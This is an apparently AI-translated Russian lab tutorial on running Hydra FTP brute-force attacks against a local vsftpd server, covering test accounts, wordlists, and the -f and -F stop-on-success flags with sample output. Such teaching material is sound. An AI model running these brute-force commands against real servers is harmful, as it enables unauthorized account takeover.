Заканчивайте атаки Hydra на ранней стадии

HydraHydraBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы рассмотрим, как остановить атаки Hydra на ранней стадии, используя его параметры для ограничения количества попыток. Мы начнем с настройки FTP-сервера с использованием vsftpd и его настройки с несколькими пользовательскими учетными записями, такими как testuser1 и testuser2, каждая с собственным паролем. Эта настройка позволит нам смоделировать сценарий, в котором Hydra пытается взломать несколько учетных записей одновременно.

Затем в рамках лабораторного занятия вы научитесь использовать параметр -f для остановки Hydra после первой успешной авторизации и параметр -F с списком нескольких хостов. Наконец, мы сравним поведение параметров -f и -F, чтобы понять, как их можно использовать для уменьшения риска атак Hydra.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/installation("Installation and Setup") hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/ftp_attack("FTP Brute Force") hydra/HydraGroup -.-> hydra/multiple_targets("Multiple Targets Attack") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") subgraph Lab Skills hydra/installation -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} hydra/single_username -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} hydra/single_password -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} hydra/ftp_attack -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} hydra/multiple_targets -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} hydra/success_detection -.-> lab-550774{{"Заканчивайте атаки Hydra на ранней стадии"}} end

Настройка FTP с несколькими учетными данными

На этом этапе мы настроим FTP-сервер и сконфигурируем его с несколькими пользовательскими учетными данными. Это позволит нам проверить способность Hydra взламывать несколько учетных записей одновременно. В качестве FTP-сервера мы будем использовать vsftpd (Very Secure FTP Daemon).

Сначала установим vsftpd:

sudo apt update
sudo apt install vsftpd -y

Далее нам нужно настроить vsftpd. Начнем с создания резервной копии исходного файла конфигурации:

sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak

Теперь отредактируем файл конфигурации с помощью nano:

sudo nano /etc/vsftpd.conf

Добавьте или измените следующие строки в файле /etc/vsftpd.conf:

anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
listen=YES
listen_ipv6=NO

Сохраните файл и выйдите из nano (Ctrl+X, затем Y, затем Enter).

Теперь создадим несколько пользовательских учетных записей. Создадим двух пользователей: testuser1 и testuser2, и зададим для них пароли.

sudo adduser testuser1
sudo adduser testuser2

Вам будет предложено ввести пароли для каждого пользователя. Для целей тестирования выберите простые пароли, например, password123 для testuser1 и password456 для testuser2. Запомните эти пароли, так как мы будем использовать их позже.

Далее перезапустим службу vsftpd, чтобы применить изменения:

sudo systemctl restart vsftpd

Теперь протестируем FTP-сервер. Вы можете использовать командную строку клиента ftp для подключения к серверу. Поскольку мы запускаем сервер локально, мы можем подключиться к localhost.

ftp localhost

Вам будет предложено ввести имя пользователя. Введите testuser1, а затем пароль, который вы для него установили. Если все настроено правильно, вы должны войти в систему на FTP-сервере. Вы можете ввести bye, чтобы выйти из клиента FTP.

Теперь создадим файл, в котором можно будет хранить имена пользователей и пароли для использования в Hydra. В каталоге ~/project создайте файл с именем users.txt и добавьте имена пользователей:

nano ~/project/users.txt

Добавьте следующие строки в файл users.txt:

testuser1
testuser2

Сохраните файл и выйдите из nano.

Далее создайте файл с именем passwords.txt и добавьте несколько распространенных паролей, включая те, которые вы установили для пользователей:

nano ~/project/passwords.txt

Добавьте следующие строки в файл passwords.txt:

password123
password456
password
123456
qwerty

Сохраните файл и выйдите из nano.

Теперь у нас есть настроенный FTP-сервер с несколькими пользовательскими учетными записями и списком имен пользователей и паролей, которые Hydra может использовать для попытки взлома учетных записей.

Запуск с параметром -f для остановки после первой найденной пары

На этом этапе мы будем использовать параметр -f в Hydra. Параметр -f сообщает Hydra остановиться после нахождения первой действительной пары имя пользователя/пароль. Это полезно, когда вам нужно найти только одну действительную учетную запись и вы не хотите, чтобы Hydra продолжал пытаться другие комбинации после успешной авторизации.

Запустим Hydra против нашего FTP-сервера, используя списки имен пользователей и паролей, которые мы создали на предыдущем этапе, и на этот раз мы будем использовать параметр -f.

hydra -L ~/project/users.txt -P ~/project/passwords.txt localhost ftp -f

В этой команде:

  • -L ~/project/users.txt: Указывает файл, содержащий список имен пользователей.
  • -P ~/project/passwords.txt: Указывает файл, содержащий список паролей.
  • localhost: Целевой FTP-сервер.
  • ftp: Служба, на которую направлена атака (в данном случае FTP).
  • -f: Сообщает Hydra остановиться после первой успешной авторизации.

Следите за выводом. Hydra попытается войти в систему, используя имена пользователей и пароли из списков. Как только он найдет действительную комбинацию (например, testuser1:password123), он отобразит сообщение о успешной авторизации и затем остановится.

Вывод должен выглядеть примерно так:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 10:00:00
[DATA] 1 task/thread started, overall 1 task to process
[DATA] attacking ftp://localhost:21
[21][ftp] host: localhost   login: testuser1   password: password123
1 of 1 target successfully completed, 0 valid password found
Hydra finished.

Обратите внимание, что Hydra остановился после нахождения первой действительной комбинации (testuser1:password123). Без параметра -f Hydra продолжил бы пытаться другие комбинации, даже после нахождения действительной авторизации.

Этот параметр особенно полезен, когда вы тестируете большое количество учетных записей и вам нужно только убедиться, что хотя бы одна учетная запись уязвима.

Тестирование параметра -F с списком нескольких хостов

На этом этапе мы рассмотрим параметр -F в Hydra. В отличие от -f, который останавливается после нахождения первой действительной пары учетных данных для одного хоста, -F останавливается после нахождения первой действительной пары учетных данных для всех хостов в списке. Чтобы продемонстрировать это, мы имитируем сценарий с несколькими хостами. Поскольку у нас есть только одна виртуальная машина (VM), мы будем использовать localhost несколько раз в нашем списке хостов.

Сначала создадим файл с именем hosts.txt в каталоге ~/project. Этот файл будет содержать список целевых хостов.

nano ~/project/hosts.txt

Добавьте следующие строки в файл hosts.txt:

localhost
localhost

Сохраните файл и выйдите из nano. Это имитирует наличие двух идентичных FTP-серверов, работающих на одной и той же машине.

Теперь запустим Hydra с параметром -F, нацеливаясь на список хостов в файле hosts.txt.

hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/hosts.txt ftp -F

В этой команде:

  • -L ~/project/users.txt: Указывает файл, содержащий список имен пользователей.
  • -P ~/project/passwords.txt: Указывает файл, содержащий список паролей.
  • -M ~/project/hosts.txt: Указывает файл, содержащий список целевых хостов.
  • ftp: Служба, на которую направлена атака (в данном случае FTP).
  • -F: Сообщает Hydra остановиться после первой успешной авторизации на любом из хостов.

Следите за выводом. Hydra попытается войти в систему на каждый хост из файла hosts.txt, используя имена пользователей и пароли из списков. Как только он найдет действительную комбинацию на любом из хостов, он отобразит сообщение о успешной авторизации и затем прекратит атаку на все хосты.

Вывод должен выглядеть примерно так:

Hydra v9.6 (c) 2024 by van Hauser/THC & David Maciejak - Please use caution!

Hydra starting at 2024-10-27 10:05:00
[DATA] 2 tasks/threads started, overall 2 tasks to process
[DATA] attacking ftp://localhost:21
[21][ftp] host: localhost   login: testuser1   password: password123
1 of 2 target successfully completed, 0 valid password found
Hydra finished.

Даже несмотря на то, что в файле hosts.txt есть две записи localhost, Hydra останавливается после нахождения первой успешной авторизации на первом экземпляре localhost. Он не пытается найти учетные данные для второй записи localhost.

Параметр -F полезен, когда вы нацелены на несколько хостов и вам нужно найти только одну уязвимую систему. Он может сэкономить время и ресурсы, прекращая атаку сразу после нахождения уязвимости.

Сравнение поведения параметров -f и -F

На этом этапе мы напрямую сравним поведение параметров -f и -F, чтобы укрепить ваше понимание их различий. Мы будем использовать ту же настройку, что и на предыдущих этапах: FTP-сервер, работающий на localhost, файлы users.txt и passwords.txt, а также файл hosts.txt, содержащий две записи для localhost.

Сначала вспомним о параметре -f. Запустите следующую команду еще раз:

hydra -L ~/project/users.txt -P ~/project/passwords.txt localhost ftp -f

Как мы видели ранее, Hydra останавливается после нахождения первой действительной пары имя пользователя/пароль для localhost.

Теперь запустим Hydra с параметром -F еще раз, нацеливаясь на файл hosts.txt:

hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/hosts.txt ftp -F

Снова Hydra останавливается после нахождения первой действительной пары имя пользователя/пароль для всех хостов в файле hosts.txt.

Основное различие заключается в том, как Hydra интерпретирует цель.

  • -f (одна цель): Hydra останавливается после нахождения первой действительной пары учетных данных для указанной одной цели. В нашем случае одной целью является localhost.

  • -F (список нескольких хостов): Hydra останавливается после нахождения первой действительной пары учетных данных для всех целей в списке хостов. В нашем случае список хостов содержит две записи для localhost, но Hydra все равно останавливается после первой успешной авторизации на любом из них.

Для дальнейшего иллюстрации различия рассмотрим сценарий, в котором у вас есть два разных FTP-сервера, ftp.example.com и ftp.example.net, и только ftp.example.com имеет уязвимую учетную запись.

  • Если вы использовали -f и нацеливались на ftp.example.com, Hydra нашел бы уязвимую учетную запись и остановился. Если вы затем нацеливались на ftp.example.net с параметром -f, Hydra продолжил бы пытаться взломать этот сервер.

  • Если вы использовали -F и в файле hosts.txt были как ftp.example.com, так и ftp.example.net, Hydra нашел бы уязвимую учетную запись на ftp.example.com и сразу же остановился, даже не пытаясь взломать ftp.example.net.

В резюме:

  • Используйте -f, если вы хотите найти хотя бы одну действительную учетную запись для конкретной цели.
  • Используйте -F, если вы хотите найти хотя бы одну действительную учетную запись для списка целей и не нужно проверять все цели, если одна из них уже скомпрометирована.

Это завершает лабораторную работу. Вы успешно настроили FTP-сервер, настроили несколько учетных записей пользователей и использовали Hydra для взлома учетных записей, изучив параметры -f и -F.

Резюме

В этой лабораторной работе мы установили FTP-сервер с использованием vsftpd и настроили его на требование аутентификации. Мы создали две учетные записи пользователей, testuser1 и testuser2, с простыми паролями для целей тестирования. Файл vsftpd.conf был изменен для включения локальных пользователей, права записи и ограничения доступа (chroot) для повышения безопасности. Наконец, служба vsftpd была перезапущена для применения изменений в конфигурации, и функциональность FTP-сервера была проверена с использованием командной строки клиента ftp.

Также был создан файл users.txt для хранения имен пользователей, которые будут использованы на последующих этапах с Hydra для тестирования его возможностей по взлому паролей. Эта настройка обеспечивает контролируемую среду для экспериментов с функциями Hydra и понимания его поведения при работе с несколькими учетными записями пользователей.